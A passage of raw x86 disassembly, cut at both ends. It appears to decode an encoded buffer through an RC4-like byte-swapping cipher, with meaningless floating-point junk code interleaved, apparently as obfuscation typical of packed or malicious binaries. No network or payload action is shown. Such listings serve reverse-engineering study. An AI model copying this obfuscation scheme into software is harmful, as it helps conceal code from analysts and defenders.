mov eax, dword [ebp - 0x382c]
mov byte [ebp + eax - 0x62e4], dl
jmp 0x43df00
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x3280], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x32a9], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x32f9], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x329c], dl
movzx eax, byte [ebp - 0x3342]
mov cl, byte [ebp + eax - 0x62e4]
mov byte [ebp - 0x32c9], cl
mov dword [ebp - 0x50d4], 0x88
cmp dword [ebp - 0x50d4], 2
jle 0x43fa7b
mov edx, dword [ebp - 0x50d4]
and edx, 1
jne 0x43fa7b
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x3704], 0
mov eax, dword [ebp - 0x3704]
add eax, 1
mov dword [ebp - 0x3704], eax
mov dword [ebp - 0x3d14], 0
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3d14], ecx
mov dword [ebp - 0x3bac], 0
mov edx, dword [ebp - 0x3d18]
add edx, dword [ebp - 0x3d14]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3bac]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3ba8], 0
mov ecx, dword [ebp - 0x3ba8]
add ecx, 0xcb
mov dword [ebp - 0x3ba8], ecx
mov dword [ebp - 0x3d1c], 0
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3d1c], eax
mov dword [ebp - 0x3ba4], 0
mov ecx, dword [ebp - 0x3d18]
add ecx, dword [ebp - 0x3d1c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3ba4]
mov dword [ebp - 0x3ba4], edx
mov dword [ebp - 0x3ba0], 0
mov eax, dword [ebp - 0x3ba0]
add eax, 0xef
mov dword [ebp - 0x3ba0], eax
mov dword [ebp - 0x3b84], 0
mov ecx, dword [ebp - 0x3bac]
sub ecx, dword [ebp - 0x3ba8]
add ecx, dword [ebp - 0x3b84]
mov dword [ebp - 0x3b84], ecx
mov dword [ebp - 0x3bd8], 0
mov edx, dword [ebp - 0x3ba4]
sub edx, dword [ebp - 0x3ba0]
add edx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3bd8], edx
mov dword [ebp - 0x3d20], 0
mov eax, dword [ebp - 0x3b84]
shl eax, 4
mov dword [ebp - 0x3d20], eax
mov dword [ebp - 0x3d24], 0
mov ecx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], ecx
mov dword [ebp - 0x3d28], 0
mov edx, dword [ebp - 0x3d20]
or edx, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], edx
mov byte [ebp - 0x32f4], 0
mov al, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], al
mov byte [ebp - 0x32f5], 0
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x32f5], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp - 0x32a9]
add edx, ecx
mov byte [ebp - 0x32a9], dl
mov al, byte [ebp - 0x3280]
add al, 1
mov byte [ebp - 0x3280], al
movzx ecx, byte [ebp - 0x32a9]
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x329c]
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x3280]
mov dl, byte [ebp - 0x32f5]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x32f5]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp - 0x32f9]
add edx, ecx
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x32f4]
movzx ecx, byte [ebp - 0x32a9]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx ecx, byte [ebp - 0x3280]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x62e4]
xor eax, edx
movzx ecx, byte [ebp - 0x329c]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx ecx, byte [ebp - 0x32c9]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
movzx ecx, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp + edx - 0x62e4]
xor eax, ecx
mov byte [ebp - 0x329c], al
mov dl, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], dl
mov al, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], al
cmp dword [ebp - 0x33b0], 0
jle 0x43e50f
movsx cx, byte [ebp - 0x3366]
mov edx, dword [ebp - 0x33b0]
mov word [ebp + edx*2 - 0x482], cx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x3704]
add ecx, 1
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3d14], edx
mov eax, dword [ebp - 0x3d18]
add eax, dword [ebp - 0x3d14]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bac], ecx
mov dword [ebp - 0x3ba8], 0xcb
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3d1c], eax
mov ecx, dword [ebp - 0x3d18]
add ecx, dword [ebp - 0x3d1c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ba4], edx
mov dword [ebp - 0x3ba0], 0xef
mov eax, dword [ebp - 0x3bac]
sub eax, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], eax
mov ecx, dword [ebp - 0x3ba4]
sub ecx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], ecx
mov edx, dword [ebp - 0x3b84]
shl edx, 4
mov dword [ebp - 0x3d20], edx
mov eax, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], eax
mov ecx, dword [ebp - 0x3d20]
or ecx, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], ecx
mov dl, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], dl
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + eax - 0x62e4]
mov byte [ebp - 0x32f5], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp - 0x32a9]
add ecx, eax
mov byte [ebp - 0x32a9], cl
mov dl, byte [ebp - 0x3280]
add dl, 1
mov byte [ebp - 0x3280], dl
movzx eax, byte [ebp - 0x32a9]
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x329c]
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp - 0x32f5]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x32f5]
movzx eax, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp - 0x32f9]
add ecx, eax
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x32f4]
movzx eax, byte [ebp - 0x32a9]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx eax, byte [ebp - 0x3280]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x62e4]
xor edx, ecx
movzx eax, byte [ebp - 0x329c]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx eax, byte [ebp - 0x32c9]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
movzx eax, byte [ebp - 0x32f9]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp + ecx - 0x62e4]
xor edx, eax
mov byte [ebp - 0x329c], dl
mov cl, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], cl
mov dl, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], dl
cmp dword [ebp - 0x33b0], 0
jle 0x43e76a
movsx ax, byte [ebp - 0x3366]
mov ecx, dword [ebp - 0x33b0]
mov word [ebp + ecx*2 - 0x482], ax
mov edx, dword [ebp - 0x3704]
add edx, 0x1f
mov dword [ebp - 0x3704], edx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x4b94], eax
jmp 0x43e799
mov ecx, dword [ebp - 0x4b94]
add ecx, 1
mov dword [ebp - 0x4b94], ecx
mov edx, dword [ebp - 0x4b94]
cmp edx, dword [ebp - 0x3704]
jge 0x43ed49
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3d14], ecx
mov edx, dword [ebp - 0x3d18]
add edx, dword [ebp - 0x3d14]
movzx eax, byte [edx]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3ba8], 0xcb
mov ecx, dword [ebp - 0x33b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3d1c], edx
mov eax, dword [ebp - 0x3d18]
add eax, dword [ebp - 0x3d1c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ba4], ecx
mov dword [ebp - 0x3ba0], 0xef
mov edx, dword [ebp - 0x3bac]
sub edx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], edx
mov eax, dword [ebp - 0x3ba4]
sub eax, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], eax
mov ecx, dword [ebp - 0x3b84]
shl ecx, 4
mov dword [ebp - 0x3d20], ecx
mov edx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], edx
mov eax, dword [ebp - 0x3d20]
or eax, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], eax
mov cl, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], cl
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + edx - 0x62e4]
mov byte [ebp - 0x32f5], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32a9]
add eax, edx
mov byte [ebp - 0x32a9], al
mov cl, byte [ebp - 0x3280]
add cl, 1
mov byte [ebp - 0x3280], cl
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x3280]
mov al, byte [ebp - 0x32f5]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x32f5]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32f9]
add eax, edx
mov byte [ebp - 0x32f9], al
movsd xmm0, qword [0xa71f90]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [0xa71ef0]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [0xa71d80]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [0xa71b38]
movsd qword [ebp - 0x4360], xmm0
movsd xmm0, qword [0xa71898]
movsd qword [ebp - 0x4190], xmm0
movsd xmm0, qword [ebp - 0x4134]
subsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x4198]
mulsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x4134]
mulsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x413c]
mulsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x4360]
addsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4360], xmm0
movsd xmm0, qword [ebp - 0x4190]
comisd xmm0, xmmword [ebp - 0x4198]
jbe 0x43ec11
movsd xmm0, qword [ebp - 0x4360]
subsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4360], xmm0
movsd xmm0, qword [ebp - 0x4134]
mulsd xmm0, qword [ebp - 0x4360]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x4360]
subsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4360], xmm0
movsd xmm0, qword [ebp - 0x4134]
divsd xmm0, qword [ebp - 0x4360]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x4190]
mulsd xmm0, qword [ebp - 0x4198]
movsd qword [ebp - 0x4190], xmm0
movsd xmm0, qword [ebp - 0x4360]
addsd xmm0, qword [ebp - 0x4198]
movsd qword [ebp - 0x4360], xmm0
movsd xmm0, qword [ebp - 0x4134]
mulsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x413c]
subsd xmm0, qword [ebp - 0x4360]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x4198]
subsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x4198]
subsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x413c]
comisd xmm0, xmmword [ebp - 0x4360]
jbe 0x43eb94
movsd xmm0, qword [ebp - 0x4198]
addsd xmm0, qword [ebp - 0x413c]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x413c]
mulsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x413c]
mulsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x413c]
subsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x4360]
addsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4360], xmm0
jmp 0x43ec0c
movsd xmm0, qword [ebp - 0x4198]
mulsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x4190]
subsd xmm0, qword [ebp - 0x413c]
movsd qword [ebp - 0x4190], xmm0
movsd xmm0, qword [ebp - 0x4134]
mulsd xmm0, qword [ebp - 0x4190]
movsd qword [ebp - 0x4134], xmm0
movsd xmm0, qword [ebp - 0x4190]
mulsd xmm0, qword [ebp - 0x413c]
movsd qword [ebp - 0x4190], xmm0
movsd xmm0, qword [ebp - 0x4360]
mulsd xmm0, qword [ebp - 0x4198]
movsd qword [ebp - 0x4360], xmm0
jmp 0x43ed0d
movsd xmm0, qword [ebp - 0x413c]
addsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x4198]
subsd xmm0, qword [ebp - 0x413c]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x4198]
mulsd xmm0, qword [ebp - 0x413c]
movsd qword [ebp - 0x4198], xmm0
movsd xmm0, qword [ebp - 0x413c]
addsd xmm0, qword [ebp - 0x4134]
movsd qword [ebp - 0x413c], xmm0
movsd xmm0, qword [ebp - 0x4190]
subsd xmm0, qword [ebp - 0x4198]
movsd qword [ebp - 0x4190], xmm0
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x3280]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
xor ecx, eax
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x32c9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
movzx edx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp + eax - 0x62e4]
xor ecx, edx
mov byte [ebp - 0x329c], cl
mov al, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], al
mov cl, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], cl
cmp dword [ebp - 0x33b0], 0
jle 0x43ed44
movsx dx, byte [ebp - 0x3366]
mov eax, dword [ebp - 0x33b0]
mov word [ebp + eax*2 - 0x482], dx
jmp 0x43e78a
mov ecx, dword [ebp - 0x3704]
add ecx, 1
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x3704]
add edx, 0x20
mov dword [ebp - 0x3704], edx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x49ec], eax
jmp 0x43ed87
mov ecx, dword [ebp - 0x49ec]
add ecx, 1
mov dword [ebp - 0x49ec], ecx
mov edx, dword [ebp - 0x49ec]
cmp edx, dword [ebp - 0x3704]
jge 0x43efe8
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3d14], ecx
mov edx, dword [ebp - 0x3d18]
add edx, dword [ebp - 0x3d14]
movzx eax, byte [edx]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3ba8], 0xcb
mov ecx, dword [ebp - 0x33b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3d1c], edx
mov eax, dword [ebp - 0x3d18]
add eax, dword [ebp - 0x3d1c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ba4], ecx
mov dword [ebp - 0x3ba0], 0xef
mov edx, dword [ebp - 0x3bac]
sub edx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], edx
mov eax, dword [ebp - 0x3ba4]
sub eax, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], eax
mov ecx, dword [ebp - 0x3b84]
shl ecx, 4
mov dword [ebp - 0x3d20], ecx
mov edx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], edx
mov eax, dword [ebp - 0x3d20]
or eax, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], eax
mov cl, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], cl
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + edx - 0x62e4]
mov byte [ebp - 0x32f5], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32a9]
add eax, edx
mov byte [ebp - 0x32a9], al
mov cl, byte [ebp - 0x3280]
add cl, 1
mov byte [ebp - 0x3280], cl
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x3280]
mov al, byte [ebp - 0x32f5]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x32f5]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32f9]
add eax, edx
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x3280]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
xor ecx, eax
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x32c9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
movzx edx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp + eax - 0x62e4]
xor ecx, edx
mov byte [ebp - 0x329c], cl
mov al, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], al
mov cl, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], cl
cmp dword [ebp - 0x33b0], 0
jle 0x43efe3
movsx dx, byte [ebp - 0x3366]
mov eax, dword [ebp - 0x33b0]
mov word [ebp + eax*2 - 0x482], dx
jmp 0x43ed78
mov ecx, dword [ebp - 0x3704]
add ecx, 1
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x33b0], edx
mov eax, dword [ebp - 0x3704]
add eax, 1
mov dword [ebp - 0x3704], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3d14], ecx
mov edx, dword [ebp - 0x3d18]
add edx, dword [ebp - 0x3d14]
movzx eax, byte [edx]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3ba8], 0xcb
mov ecx, dword [ebp - 0x33b0]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3d1c], edx
mov eax, dword [ebp - 0x3d18]
add eax, dword [ebp - 0x3d1c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ba4], ecx
mov dword [ebp - 0x3ba0], 0xef
mov edx, dword [ebp - 0x3bac]
sub edx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], edx
mov eax, dword [ebp - 0x3ba4]
sub eax, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], eax
mov ecx, dword [ebp - 0x3b84]
shl ecx, 4
mov dword [ebp - 0x3d20], ecx
mov edx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], edx
mov eax, dword [ebp - 0x3d20]
or eax, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], eax
mov cl, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], cl
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + edx - 0x62e4]
mov byte [ebp - 0x32f5], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32a9]
add eax, edx
mov byte [ebp - 0x32a9], al
mov cl, byte [ebp - 0x3280]
add cl, 1
mov byte [ebp - 0x3280], cl
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movsd xmm0, qword [0xa71ec8]
movsd qword [ebp - 0x63a0], xmm0
movsd xmm0, qword [0xa71d78]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [0xa71be8]
movsd qword [ebp - 0x4614], xmm0
movsd xmm0, qword [0xa71a38]
movsd qword [ebp - 0x4ad4], xmm0
movsd xmm0, qword [0xa717b0]
movsd qword [ebp - 0x460c], xmm0
movsd xmm0, qword [ebp - 0x4614]
subsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x4614], xmm0
movsd xmm0, qword [ebp - 0x4614]
mulsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x4614], xmm0
movsd xmm0, qword [ebp - 0x63a0]
mulsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x63a0], xmm0
movsd xmm0, qword [ebp - 0x4614]
mulsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x4614], xmm0
movsd xmm0, qword [ebp - 0x43a4]
addsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x460c]
comisd xmm0, xmmword [ebp - 0x4614]
jbe 0x43f29e
movsd xmm0, qword [ebp - 0x43a4]
divsd xmm0, qword [ebp - 0x4ad4]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x43a4]
subsd xmm0, qword [ebp - 0x4ad4]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x43a4]
subsd xmm0, qword [ebp - 0x4ad4]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x43a4]
mulsd xmm0, qword [ebp - 0x4ad4]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x460c]
mulsd xmm0, qword [ebp - 0x43a4]
movsd qword [ebp - 0x460c], xmm0
jmp 0x43f332
movsd xmm0, qword [ebp - 0x460c]
subsd xmm0, qword [ebp - 0x63a0]
movsd qword [ebp - 0x460c], xmm0
movsd xmm0, qword [ebp - 0x43a4]
mulsd xmm0, qword [ebp - 0x4614]
movsd qword [ebp - 0x43a4], xmm0
movsd xmm0, qword [ebp - 0x4ad4]
addsd xmm0, qword [ebp - 0x460c]
movsd qword [ebp - 0x4ad4], xmm0
movsd xmm0, qword [ebp - 0x4614]
mulsd xmm0, qword [ebp - 0x4ad4]
movsd qword [ebp - 0x4614], xmm0
movsd xmm0, qword [ebp - 0x43a4]
addsd xmm0, qword [ebp - 0x4614]
movsd qword [ebp - 0x43a4], xmm0
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + edx - 0x62e4]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x3280]
mov al, byte [ebp - 0x32f5]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x32f5]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp - 0x32f9]
add eax, edx
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp - 0x32a9]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x3280]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
xor ecx, eax
movzx edx, byte [ebp - 0x329c]
movzx eax, byte [ebp + edx - 0x62e4]
movzx edx, byte [ebp - 0x32c9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
movzx edx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + edx - 0x62e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp + eax - 0x62e4]
xor ecx, edx
mov byte [ebp - 0x329c], cl
mov al, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], al
mov cl, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], cl
cmp dword [ebp - 0x33b0], 0
jle 0x43f41f
movsx dx, byte [ebp - 0x3366]
mov eax, dword [ebp - 0x33b0]
mov word [ebp + eax*2 - 0x482], dx
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
mov edx, dword [ebp - 0x3704]
add edx, 1
mov dword [ebp - 0x3704], edx
mov eax, dword [ebp - 0x33b0]
shl eax, 1
mov dword [ebp - 0x3d14], eax
mov ecx, dword [ebp - 0x3d18]
add ecx, dword [ebp - 0x3d14]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bac], edx
mov dword [ebp - 0x3ba8], 0xcb
mov eax, dword [ebp - 0x33b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3d1c], ecx
mov edx, dword [ebp - 0x3d18]
add edx, dword [ebp - 0x3d1c]
movzx eax, byte [edx]
mov dword [ebp - 0x3ba4], eax
mov dword [ebp - 0x3ba0], 0xef
mov ecx, dword [ebp - 0x3bac]
sub ecx, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], ecx
mov edx, dword [ebp - 0x3ba4]
sub edx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], edx
mov eax, dword [ebp - 0x3b84]
shl eax, 4
mov dword [ebp - 0x3d20], eax
mov ecx, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], ecx
mov edx, dword [ebp - 0x3d20]
or edx, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], edx
mov al, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], al
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + ecx - 0x62e4]
mov byte [ebp - 0x32f5], dl
